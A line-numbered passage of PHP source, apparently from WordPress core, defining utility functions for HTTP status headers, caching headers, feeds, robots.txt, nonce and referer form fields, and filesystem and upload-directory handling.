999 * Walks the array while sanitizing the contents.
1000 *
1001 * @since 0.71
1002 *
1003 * @param array $array Array to walk while sanitizing contents.
1004 * @return array Sanitized $array.
1005 */
1006function add_magic_quotes( $array ) {
1007 foreach ( (array) $array as $k => $v ) {
1008 if ( is_array( $v ) ) {
1009 $array[$k] = add_magic_quotes( $v );
1010 } else {
1011 $array[$k] = addslashes( $v );
1012 }
1013 }
1014 return $array;
1015}
1016
1017/**
1018 * HTTP request for URI to retrieve content.
1019 *
1020 * @since 1.5.1
1021 *
1022 * @see wp_safe_remote_get()
1023 *
1024 * @param string $uri URI/URL of web page to retrieve.
1025 * @return false|string HTTP content. False on failure.
1026 */
1027function wp_remote_fopen( $uri ) {
1028 $parsed_url = @parse_url( $uri );
1029
1030 if ( !$parsed_url || !is_array( $parsed_url ) )
1031 return false;
1032
1033 $options = array();
1034 $options['timeout'] = 10;
1035
1036 $response = wp_safe_remote_get( $uri, $options );
1037
1038 if ( is_wp_error( $response ) )
1039 return false;
1040
1041 return wp_remote_retrieve_body( $response );
1042}
1043
1044/**
1045 * Set up the WordPress query.
1046 *
1047 * @since 2.0.0
1048 *
1049 * @global WP $wp_locale
1050 * @global WP_Query $wp_query
1051 * @global WP_Query $wp_the_query
1052 *
1053 * @param string|array $query_vars Default WP_Query arguments.
1054 */
1055function wp( $query_vars = '' ) {
1056 global $wp, $wp_query, $wp_the_query;
1057 $wp->main( $query_vars );
1058
1059 if ( !isset($wp_the_query) )
1060 $wp_the_query = $wp_query;
1061}
1062
1063/**
1064 * Retrieve the description for the HTTP status.
1065 *
1066 * @since 2.3.0
1067 *
1068 * @global array $wp_header_to_desc
1069 *
1070 * @param int $code HTTP status code.
1071 * @return string Empty string if not found, or description if found.
1072 */
1073function get_status_header_desc( $code ) {
1074 global $wp_header_to_desc;
1075
1076 $code = absint( $code );
1077
1078 if ( !isset( $wp_header_to_desc ) ) {
1079 $wp_header_to_desc = array(
1080 100 => 'Continue',
1081 101 => 'Switching Protocols',
1082 102 => 'Processing',
1083
1084 200 => 'OK',
1085 201 => 'Created',
1086 202 => 'Accepted',
1087 203 => 'Non-Authoritative Information',
1088 204 => 'No Content',
1089 205 => 'Reset Content',
1090 206 => 'Partial Content',
1091 207 => 'Multi-Status',
1092 226 => 'IM Used',
1093
1094 300 => 'Multiple Choices',
1095 301 => 'Moved Permanently',
1096 302 => 'Found',
1097 303 => 'See Other',
1098 304 => 'Not Modified',
1099 305 => 'Use Proxy',
1100 306 => 'Reserved',
1101 307 => 'Temporary Redirect',
1102 308 => 'Permanent Redirect',
1103
1104 400 => 'Bad Request',
1105 401 => 'Unauthorized',
1106 402 => 'Payment Required',
1107 403 => 'Forbidden',
1108 404 => 'Not Found',
1109 405 => 'Method Not Allowed',
1110 406 => 'Not Acceptable',
1111 407 => 'Proxy Authentication Required',
1112 408 => 'Request Timeout',
1113 409 => 'Conflict',
1114 410 => 'Gone',
1115 411 => 'Length Required',
1116 412 => 'Precondition Failed',
1117 413 => 'Request Entity Too Large',
1118 414 => 'Request-URI Too Long',
1119 415 => 'Unsupported Media Type',
1120 416 => 'Requested Range Not Satisfiable',
1121 417 => 'Expectation Failed',
1122 418 => 'I\'m a teapot',
1123 421 => 'Misdirected Request',
1124 422 => 'Unprocessable Entity',
1125 423 => 'Locked',
1126 424 => 'Failed Dependency',
1127 426 => 'Upgrade Required',
1128 428 => 'Precondition Required',
1129 429 => 'Too Many Requests',
1130 431 => 'Request Header Fields Too Large',
1131 451 => 'Unavailable For Legal Reasons',
1132
1133 500 => 'Internal Server Error',
1134 501 => 'Not Implemented',
1135 502 => 'Bad Gateway',
1136 503 => 'Service Unavailable',
1137 504 => 'Gateway Timeout',
1138 505 => 'HTTP Version Not Supported',
1139 506 => 'Variant Also Negotiates',
1140 507 => 'Insufficient Storage',
1141 510 => 'Not Extended',
1142 511 => 'Network Authentication Required',
1143 );
1144 }
1145
1146 if ( isset( $wp_header_to_desc[$code] ) )
1147 return $wp_header_to_desc[$code];
1148 else
1149 return '';
1150}
1151
1152/**
1153 * Set HTTP status header.
1154 *
1155 * @since 2.0.0
1156 * @since 4.4.0 Added the `$description` parameter.
1157 *
1158 * @see get_status_header_desc()
1159 *
1160 * @param int $code HTTP status code.
1161 * @param string $description Optional. A custom description for the HTTP status.
1162 */
1163function status_header( $code, $description = '' ) {
1164 if ( ! $description ) {
1165 $description = get_status_header_desc( $code );
1166 }
1167
1168 if ( empty( $description ) ) {
1169 return;
1170 }
1171
1172 $protocol = wp_get_server_protocol();
1173 $status_header = "$protocol $code $description";
1174 if ( function_exists( 'apply_filters' ) )
1175
1176 /**
1177 * Filters an HTTP status header.
1178 *
1179 * @since 2.2.0
1180 *
1181 * @param string $status_header HTTP status header.
1182 * @param int $code HTTP status code.
1183 * @param string $description Description for the status code.
1184 * @param string $protocol Server protocol.
1185 */
1186 $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
1187
1188 @header( $status_header, true, $code );
1189}
1190
1191/**
1192 * Get the header information to prevent caching.
1193 *
1194 * The several different headers cover the different ways cache prevention
1195 * is handled by different browsers
1196 *
1197 * @since 2.8.0
1198 *
1199 * @return array The associative array of header names and field values.
1200 */
1201function wp_get_nocache_headers() {
1202 $headers = array(
1203 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
1204 'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
1205 );
1206
1207 if ( function_exists('apply_filters') ) {
1208 /**
1209 * Filters the cache-controlling headers.
1210 *
1211 * @since 2.8.0
1212 *
1213 * @see wp_get_nocache_headers()
1214 *
1215 * @param array $headers {
1216 * Header names and field values.
1217 *
1218 * @type string $Expires Expires header.
1219 * @type string $Cache-Control Cache-Control header.
1220 * }
1221 */
1222 $headers = (array) apply_filters( 'nocache_headers', $headers );
1223 }
1224 $headers['Last-Modified'] = false;
1225 return $headers;
1226}
1227
1228/**
1229 * Set the headers to prevent caching for the different browsers.
1230 *
1231 * Different browsers support different nocache headers, so several
1232 * headers must be sent so that all of them get the point that no
1233 * caching should occur.
1234 *
1235 * @since 2.0.0
1236 *
1237 * @see wp_get_nocache_headers()
1238 */
1239function nocache_headers() {
1240 $headers = wp_get_nocache_headers();
1241
1242 unset( $headers['Last-Modified'] );
1243
1244 // In PHP 5.3+, make sure we are not sending a Last-Modified header.
1245 if ( function_exists( 'header_remove' ) ) {
1246 @header_remove( 'Last-Modified' );
1247 } else {
1248 // In PHP 5.2, send an empty Last-Modified header, but only as a
1249 // last resort to override a header already sent. #WP23021
1250 foreach ( headers_list() as $header ) {
1251 if ( 0 === stripos( $header, 'Last-Modified' ) ) {
1252 $headers['Last-Modified'] = '';
1253 break;
1254 }
1255 }
1256 }
1257
1258 foreach ( $headers as $name => $field_value )
1259 @header("{$name}: {$field_value}");
1260}
1261
1262/**
1263 * Set the headers for caching for 10 days with JavaScript content type.
1264 *
1265 * @since 2.1.0
1266 */
1267function cache_javascript_headers() {
1268 $expiresOffset = 10 * DAY_IN_SECONDS;
1269
1270 header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
1271 header( "Vary: Accept-Encoding" ); // Handle proxies
1272 header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
1273}
1274
1275/**
1276 * Retrieve the number of database queries during the WordPress execution.
1277 *
1278 * @since 2.0.0
1279 *
1280 * @global wpdb $wpdb WordPress database abstraction object.
1281 *
1282 * @return int Number of database queries.
1283 */
1284function get_num_queries() {
1285 global $wpdb;
1286 return $wpdb->num_queries;
1287}
1288
1289/**
1290 * Whether input is yes or no.
1291 *
1292 * Must be 'y' to be true.
1293 *
1294 * @since 1.0.0
1295 *
1296 * @param string $yn Character string containing either 'y' (yes) or 'n' (no).
1297 * @return bool True if yes, false on anything else.
1298 */
1299function bool_from_yn( $yn ) {
1300 return ( strtolower( $yn ) == 'y' );
1301}
1302
1303/**
1304 * Load the feed template from the use of an action hook.
1305 *
1306 * If the feed action does not have a hook, then the function will die with a
1307 * message telling the visitor that the feed is not valid.
1308 *
1309 * It is better to only have one hook for each feed.
1310 *
1311 * @since 2.1.0
1312 *
1313 * @global WP_Query $wp_query Used to tell if the use a comment feed.
1314 */
1315function do_feed() {
1316 global $wp_query;
1317
1318 $feed = get_query_var( 'feed' );
1319
1320 // Remove the pad, if present.
1321 $feed = preg_replace( '/^_+/', '', $feed );
1322
1323 if ( $feed == '' || $feed == 'feed' )
1324 $feed = get_default_feed();
1325
1326 if ( ! has_action( "do_feed_{$feed}" ) ) {
1327 wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
1328 }
1329
1330 /**
1331 * Fires once the given feed is loaded.
1332 *
1333 * The dynamic portion of the hook name, `$feed`, refers to the feed template name.
1334 * Possible values include: 'rdf', 'rss', 'rss2', and 'atom'.
1335 *
1336 * @since 2.1.0
1337 * @since 4.4.0 The `$feed` parameter was added.
1338 *
1339 * @param bool $is_comment_feed Whether the feed is a comment feed.
1340 * @param string $feed The feed name.
1341 */
1342 do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
1343}
1344
1345/**
1346 * Load the RDF RSS 0.91 Feed template.
1347 *
1348 * @since 2.1.0
1349 *
1350 * @see load_template()
1351 */
1352function do_feed_rdf() {
1353 load_template( ABSPATH . WPINC . '/feed-rdf.php' );
1354}
1355
1356/**
1357 * Load the RSS 1.0 Feed Template.
1358 *
1359 * @since 2.1.0
1360 *
1361 * @see load_template()
1362 */
1363function do_feed_rss() {
1364 load_template( ABSPATH . WPINC . '/feed-rss.php' );
1365}
1366
1367/**
1368 * Load either the RSS2 comment feed or the RSS2 posts feed.
1369 *
1370 * @since 2.1.0
1371 *
1372 * @see load_template()
1373 *
1374 * @param bool $for_comments True for the comment feed, false for normal feed.
1375 */
1376function do_feed_rss2( $for_comments ) {
1377 if ( $for_comments )
1378 load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
1379 else
1380 load_template( ABSPATH . WPINC . '/feed-rss2.php' );
1381}
1382
1383/**
1384 * Load either Atom comment feed or Atom posts feed.
1385 *
1386 * @since 2.1.0
1387 *
1388 * @see load_template()
1389 *
1390 * @param bool $for_comments True for the comment feed, false for normal feed.
1391 */
1392function do_feed_atom( $for_comments ) {
1393 if ($for_comments)
1394 load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
1395 else
1396 load_template( ABSPATH . WPINC . '/feed-atom.php' );
1397}
1398
1399/**
1400 * Display the robots.txt file content.
1401 *
1402 * The echo content should be with usage of the permalinks or for creating the
1403 * robots.txt file.
1404 *
1405 * @since 2.1.0
1406 */
1407function do_robots() {
1408 header( 'Content-Type: text/plain; charset=utf-8' );
1409
1410 /**
1411 * Fires when displaying the robots.txt file.
1412 *
1413 * @since 2.1.0
1414 */
1415 do_action( 'do_robotstxt' );
1416
1417 $output = "User-agent: *\n";
1418 $public = get_option( 'blog_public' );
1419 if ( '0' == $public ) {
1420 $output .= "Disallow: /\n";
1421 } else {
1422 $site_url = parse_url( site_url() );
1423 $path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
1424 $output .= "Disallow: $path/wp-admin/\n";
1425 $output .= "Allow: $path/wp-admin/admin-ajax.php\n";
1426 }
1427
1428 /**
1429 * Filters the robots.txt output.
1430 *
1431 * @since 3.0.0
1432 *
1433 * @param string $output Robots.txt output.
1434 * @param bool $public Whether the site is considered "public".
1435 */
1436 echo apply_filters( 'robots_txt', $output, $public );
1437}
1438
1439/**
1440 * Test whether WordPress is already installed.
1441 *
1442 * The cache will be checked first. If you have a cache plugin, which saves
1443 * the cache values, then this will work. If you use the default WordPress
1444 * cache, and the database goes away, then you might have problems.
1445 *
1446 * Checks for the 'siteurl' option for whether WordPress is installed.
1447 *
1448 * @since 2.1.0
1449 *
1450 * @global wpdb $wpdb WordPress database abstraction object.
1451 *
1452 * @return bool Whether the site is already installed.
1453 */
1454function is_blog_installed() {
1455 global $wpdb;
1456
1457 /*
1458 * Check cache first. If options table goes away and we have true
1459 * cached, oh well.
1460 */
1461 if ( wp_cache_get( 'is_blog_installed' ) )
1462 return true;
1463
1464 $suppress = $wpdb->suppress_errors();
1465 if ( ! wp_installing() ) {
1466 $alloptions = wp_load_alloptions();
1467 }
1468 // If siteurl is not set to autoload, check it specifically
1469 if ( !isset( $alloptions['siteurl'] ) )
1470 $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
1471 else
1472 $installed = $alloptions['siteurl'];
1473 $wpdb->suppress_errors( $suppress );
1474
1475 $installed = !empty( $installed );
1476 wp_cache_set( 'is_blog_installed', $installed );
1477
1478 if ( $installed )
1479 return true;
1480
1481 // If visiting repair.php, return true and let it take over.
1482 if ( defined( 'WP_REPAIRING' ) )
1483 return true;
1484
1485 $suppress = $wpdb->suppress_errors();
1486
1487 /*
1488 * Loop over the WP tables. If none exist, then scratch installation is allowed.
1489 * If one or more exist, suggest table repair since we got here because the
1490 * options table could not be accessed.
1491 */
1492 $wp_tables = $wpdb->tables();
1493 foreach ( $wp_tables as $table ) {
1494 // The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
1495 if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
1496 continue;
1497 if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
1498 continue;
1499
1500 if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
1501 continue;
1502
1503 // One or more tables exist. We are insane.
1504
1505 wp_load_translations_early();
1506
1507 // Die with a DB error.
1508 $wpdb->error = sprintf(
1509 /* translators: %s: database repair URL */
1510 __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
1511 'maint/repair.php?referrer=is_blog_installed'
1512 );
1513
1514 dead_db();
1515 }
1516
1517 $wpdb->suppress_errors( $suppress );
1518
1519 wp_cache_set( 'is_blog_installed', false );
1520
1521 return false;
1522}
1523
1524/**
1525 * Retrieve URL with nonce added to URL query.
1526 *
1527 * @since 2.0.4
1528 *
1529 * @param string $actionurl URL to add nonce action.
1530 * @param int|string $action Optional. Nonce action name. Default -1.
1531 * @param string $name Optional. Nonce name. Default '_wpnonce'.
1532 * @return string Escaped URL with nonce action added.
1533 */
1534function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
1535 $actionurl = str_replace( '&', '&', $actionurl );
1536 return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
1537}
1538
1539/**
1540 * Retrieve or display nonce hidden field for forms.
1541 *
1542 * The nonce field is used to validate that the contents of the form came from
1543 * the location on the current site and not somewhere else. The nonce does not
1544 * offer absolute protection, but should protect against most cases. It is very
1545 * important to use nonce field in forms.
1546 *
1547 * The $action and $name are optional, but if you want to have better security,
1548 * it is strongly suggested to set those two parameters. It is easier to just
1549 * call the function without any parameters, because validation of the nonce
1550 * doesn't require any parameters, but since crackers know what the default is
1551 * it won't be difficult for them to find a way around your nonce and cause
1552 * damage.
1553 *
1554 * The input name will be whatever $name value you gave. The input value will be
1555 * the nonce creation value.
1556 *
1557 * @since 2.0.4
1558 *
1559 * @param int|string $action Optional. Action name. Default -1.
1560 * @param string $name Optional. Nonce name. Default '_wpnonce'.
1561 * @param bool $referer Optional. Whether to set the referer field for validation. Default true.
1562 * @param bool $echo Optional. Whether to display or return hidden form field. Default true.
1563 * @return string Nonce field HTML markup.
1564 */
1565function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
1566 $name = esc_attr( $name );
1567 $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
1568
1569 if ( $referer )
1570 $nonce_field .= wp_referer_field( false );
1571
1572 if ( $echo )
1573 echo $nonce_field;
1574
1575 return $nonce_field;
1576}
1577
1578/**
1579 * Retrieve or display referer hidden field for forms.
1580 *
1581 * The referer link is the current Request URI from the server super global. The
1582 * input name is '_wp_http_referer', in case you wanted to check manually.
1583 *
1584 * @since 2.0.4
1585 *
1586 * @param bool $echo Optional. Whether to echo or return the referer field. Default true.
1587 * @return string Referer field HTML markup.
1588 */
1589function wp_referer_field( $echo = true ) {
1590 $referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
1591
1592 if ( $echo )
1593 echo $referer_field;
1594 return $referer_field;
1595}
1596
1597/**
1598 * Retrieve or display original referer hidden field for forms.
1599 *
1600 * The input name is '_wp_original_http_referer' and will be either the same
1601 * value of wp_referer_field(), if that was posted already or it will be the
1602 * current page, if it doesn't exist.
1603 *
1604 * @since 2.0.4
1605 *
1606 * @param bool $echo Optional. Whether to echo the original http referer. Default true.
1607 * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
1608 * Default 'current'.
1609 * @return string Original referer field.
1610 */
1611function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
1612 if ( ! $ref = wp_get_original_referer() ) {
1613 $ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
1614 }
1615 $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
1616 if ( $echo )
1617 echo $orig_referer_field;
1618 return $orig_referer_field;
1619}
1620
1621/**
1622 * Retrieve referer from '_wp_http_referer' or HTTP referer.
1623 *
1624 * If it's the same as the current request URL, will return false.
1625 *
1626 * @since 2.0.4
1627 *
1628 * @return false|string False on failure. Referer URL on success.
1629 */
1630function wp_get_referer() {
1631 if ( ! function_exists( 'wp_validate_redirect' ) ) {
1632 return false;
1633 }
1634
1635 $ref = wp_get_raw_referer();
1636
1637 if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) && $ref !== home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) ) {
1638 return wp_validate_redirect( $ref, false );
1639 }
1640
1641 return false;
1642}
1643
1644/**
1645 * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
1646 *
1647 * Do not use for redirects, use wp_get_referer() instead.
1648 *
1649 * @since 4.5.0
1650 *
1651 * @return string|false Referer URL on success, false on failure.
1652 */
1653function wp_get_raw_referer() {
1654 if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
1655 return wp_unslash( $_REQUEST['_wp_http_referer'] );
1656 } else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
1657 return wp_unslash( $_SERVER['HTTP_REFERER'] );
1658 }
1659
1660 return false;
1661}
1662
1663/**
1664 * Retrieve original referer that was posted, if it exists.
1665 *
1666 * @since 2.0.4
1667 *
1668 * @return string|false False if no original referer or original referer if set.
1669 */
1670function wp_get_original_referer() {
1671 if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )
1672 return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
1673 return false;
1674}
1675
1676/**
1677 * Recursive directory creation based on full path.
1678 *
1679 * Will attempt to set permissions on folders.
1680 *
1681 * @since 2.0.1
1682 *
1683 * @param string $target Full path to attempt to create.
1684 * @return bool Whether the path was created. True if path already exists.
1685 */
1686function wp_mkdir_p( $target ) {
1687 $wrapper = null;
1688
1689 // Strip the protocol.
1690 if ( wp_is_stream( $target ) ) {
1691 list( $wrapper, $target ) = explode( '://', $target, 2 );
1692 }
1693
1694 // From php.net/mkdir user contributed notes.
1695 $target = str_replace( '//', '/', $target );
1696
1697 // Put the wrapper back on the target.
1698 if ( $wrapper !== null ) {
1699 $target = $wrapper . '://' . $target;
1700 }
1701
1702 /*
1703 * Safe mode fails with a trailing slash under certain PHP versions.
1704 * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
1705 */
1706 $target = rtrim($target, '/');
1707 if ( empty($target) )
1708 $target = '/';
1709
1710 if ( file_exists( $target ) )
1711 return @is_dir( $target );
1712
1713 // We need to find the permissions of the parent folder that exists and inherit that.
1714 $target_parent = dirname( $target );
1715 while ( '.' != $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
1716 $target_parent = dirname( $target_parent );
1717 }
1718
1719 // Get the permission bits.
1720 if ( $stat = @stat( $target_parent ) ) {
1721 $dir_perms = $stat['mode'] & 0007777;
1722 } else {
1723 $dir_perms = 0777;
1724 }
1725
1726 if ( @mkdir( $target, $dir_perms, true ) ) {
1727
1728 /*
1729 * If a umask is set that modifies $dir_perms, we'll have to re-set
1730 * the $dir_perms correctly with chmod()
1731 */
1732 if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
1733 $folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
1734 for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
1735 @chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
1736 }
1737 }
1738
1739 return true;
1740 }
1741
1742 return false;
1743}
1744
1745/**
1746 * Test if a given filesystem path is absolute.
1747 *
1748 * For example, '/foo/bar', or 'c:\windows'.
1749 *
1750 * @since 2.5.0
1751 *
1752 * @param string $path File path.
1753 * @return bool True if path is absolute, false is not absolute.
1754 */
1755function path_is_absolute( $path ) {
1756 /*
1757 * This is definitive if true but fails if $path does not exist or contains
1758 * a symbolic link.
1759 */
1760 if ( realpath($path) == $path )
1761 return true;
1762
1763 if ( strlen($path) == 0 || $path[0] == '.' )
1764 return false;
1765
1766 // Windows allows absolute paths like this.
1767 if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
1768 return true;
1769
1770 // A path starting with / or \ is absolute; anything else is relative.
1771 return ( $path[0] == '/' || $path[0] == '\\' );
1772}
1773
1774/**
1775 * Join two filesystem paths together.
1776 *
1777 * For example, 'give me $path relative to $base'. If the $path is absolute,
1778 * then it the full path is returned.
1779 *
1780 * @since 2.5.0
1781 *
1782 * @param string $base Base path.
1783 * @param string $path Path relative to $base.
1784 * @return string The path with the base or absolute path.
1785 */
1786function path_join( $base, $path ) {
1787 if ( path_is_absolute($path) )
1788 return $path;
1789
1790 return rtrim($base, '/') . '/' . ltrim($path, '/');
1791}
1792
1793/**
1794 * Normalize a filesystem path.
1795 *
1796 * On windows systems, replaces backslashes with forward slashes
1797 * and forces upper-case drive letters.
1798 * Allows for two leading slashes for Windows network shares, but
1799 * ensures that all other duplicate slashes are reduced to a single.
1800 *
1801 * @since 3.9.0
1802 * @since 4.4.0 Ensures upper-case drive letters on Windows systems.
1803 * @since 4.5.0 Allows for Windows network shares.
1804 * @since 4.9.7 Allows for PHP file wrappers.
1805 *
1806 * @param string $path Path to normalize.
1807 * @return string Normalized path.
1808 */
1809function wp_normalize_path( $path ) {
1810 $wrapper = '';
1811 if ( wp_is_stream( $path ) ) {
1812 list( $wrapper, $path ) = explode( '://', $path, 2 );
1813 $wrapper .= '://';
1814 }
1815
1816 // Standardise all paths to use /
1817 $path = str_replace( '\\', '/', $path );
1818
1819 // Replace multiple slashes down to a singular, allowing for network shares having two slashes.
1820 $path = preg_replace( '|(?<=.)/+|', '/', $path );
1821
1822 // Windows paths should uppercase the drive letter
1823 if ( ':' === substr( $path, 1, 1 ) ) {
1824 $path = ucfirst( $path );
1825 }
1826
1827 return $wrapper . $path;
1828}
1829
1830/**
1831 * Determine a writable directory for temporary files.
1832 *
1833 * Function's preference is the return value of sys_get_temp_dir(),
1834 * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
1835 * before finally defaulting to /tmp/
1836 *
1837 * In the event that this function does not find a writable location,
1838 * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
1839 *
1840 * @since 2.5.0
1841 *
1842 * @staticvar string $temp
1843 *
1844 * @return string Writable temporary directory.
1845 */
1846function get_temp_dir() {
1847 static $temp = '';
1848 if ( defined('WP_TEMP_DIR') )
1849 return trailingslashit(WP_TEMP_DIR);
1850
1851 if ( $temp )
1852 return trailingslashit( $temp );
1853
1854 if ( function_exists('sys_get_temp_dir') ) {
1855 $temp = sys_get_temp_dir();
1856 if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
1857 return trailingslashit( $temp );
1858 }
1859
1860 $temp = ini_get('upload_tmp_dir');
1861 if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
1862 return trailingslashit( $temp );
1863
1864 $temp = WP_CONTENT_DIR . '/';
1865 if ( is_dir( $temp ) && wp_is_writable( $temp ) )
1866 return $temp;
1867
1868 return '/tmp/';
1869}
1870
1871/**
1872 * Determine if a directory is writable.
1873 *
1874 * This function is used to work around certain ACL issues in PHP primarily
1875 * affecting Windows Servers.
1876 *
1877 * @since 3.6.0
1878 *
1879 * @see win_is_writable()
1880 *
1881 * @param string $path Path to check for write-ability.
1882 * @return bool Whether the path is writable.
1883 */
1884function wp_is_writable( $path ) {
1885 if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )
1886 return win_is_writable( $path );
1887 else
1888 return @is_writable( $path );
1889}
1890
1891/**
1892 * Workaround for Windows bug in is_writable() function
1893 *
1894 * PHP has issues with Windows ACL's for determine if a
1895 * directory is writable or not, this works around them by
1896 * checking the ability to open files rather than relying
1897 * upon PHP to interprate the OS ACL.
1898 *
1899 * @since 2.8.0
1900 *
1901 * @see https://bugs.php.net/bug.php?id=27609
1902 * @see https://bugs.php.net/bug.php?id=30931
1903 *
1904 * @param string $path Windows path to check for write-ability.
1905 * @return bool Whether the path is writable.
1906 */
1907function win_is_writable( $path ) {
1908
1909 if ( $path[strlen( $path ) - 1] == '/' ) { // if it looks like a directory, check a random file within the directory
1910 return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
1911 } elseif ( is_dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory
1912 return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
1913 }
1914 // check tmp file for read/write capabilities
1915 $should_delete_tmp_file = !file_exists( $path );
1916 $f = @fopen( $path, 'a' );
1917 if ( $f === false )
1918 return false;
1919 fclose( $f );
1920 if ( $should_delete_tmp_file )
1921 unlink( $path );
1922 return true;
1923}
1924
1925/**
1926 * Retrieves uploads directory information.
1927 *
1928 * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
1929 * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
1930 * when not uploading files.
1931 *
1932 * @since 4.5.0
1933 *
1934 * @see wp_upload_dir()
1935 *
1936 * @return array See wp_upload_dir() for description.
1937 */
1938function wp_get_upload_dir() {
1939 return wp_upload_dir( null, false );
1940}
1941
1942/**
1943 * Get an array containing the current upload directory's path and url.
1944 *
1945 * Checks the 'upload_path' option, which should be from the web root folder,
1946 * and if it isn't empty it will be used. If it is empty, then the path will be
1947 * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
1948 * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
1949 *
1950 * The upload URL path is set either by the 'upload_url_path' option or by using
1951 * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
1952 *
1953 * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
1954 * the administration settings panel), then the time will be used. The format
1955 * will be year first and then month.
1956 *
1957 * If the path couldn't be created, then an error will be returned with the key
1958 * 'error' containing the error message. The error suggests that the parent
1959 * directory is not writable by the server.
1960 *
1961 * On success, the returned array will have many indices:
1962 * 'path' - base directory and sub directory or full path to upload directory.
1963 * 'url' - base url and sub directory or absolute URL to upload directory.
1964 * 'subdir' - sub directory if uploads use year/month folders option is on.
1965 * 'basedir' - path without subdir.
1966 * 'baseurl' - URL path without subdir.
1967 * 'error' - false or error message.
1968 *
1969 * @since 2.0.0
1970 * @uses _wp_upload_dir()
1971 *
1972 * @staticvar array $cache
1973 * @staticvar array $tested_paths
1974 *
1975 * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
1976 * @param bool $create_dir Optional. Whether to check and create the uploads directory.
1977 * Default true for backward compatibility.
1978 * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
1979 * @return array See above for description.
1980 */
1981function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
1982 static $cache = array(), $tested_paths = array();
1983
1984 $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
1985
1986 if ( $refresh_cache || empty( $cache[ $key ] ) ) {
1987 $cache[ $key ] = _wp_upload_dir( $time );
1988 }
1989
1990 /**
1991 * Filters the uploads directory data.
1992 *
1993 * @since 2.0.0
1994 *
1995 * @param array $uploads Array of upload directory data with keys of 'path',
1996 * 'url', 'subdir, 'basedir', and 'error'.
1997 */
1998 $uploads = apply_filters( 'upload_dir', $cache[ $key ] );
1999
2000 if ( $create_dir ) {
2001 $path = $uploads['path'];
2002
2003 if ( array_key_exists( $path, $tested_paths ) ) {
2004 $uploads['error'] = $tested_paths[ $path ];
2005 } else {
2006 if ( ! wp_mkdir_p( $path ) ) {
2007 if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
2008 $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
2009 } else {
2010 $error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
2011 }
2012
2013 $uploads['error'] = sprintf(
2014 /* translators: %s: directory path */
2015 __( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
2016 esc_html( $error_path )
2017 );
2018 }
2019
2020 $tested_paths[ $path ] = $uploads['error'];
2021 }
2022 }
2023
2024 return $uploads;
2025}
2026
2027/**
2028 * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
2029 *
2030 * @since 4.5.0
2031 * @access private
2032 *
2033 * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
2034 * @return array See wp_upload_dir()
2035 */
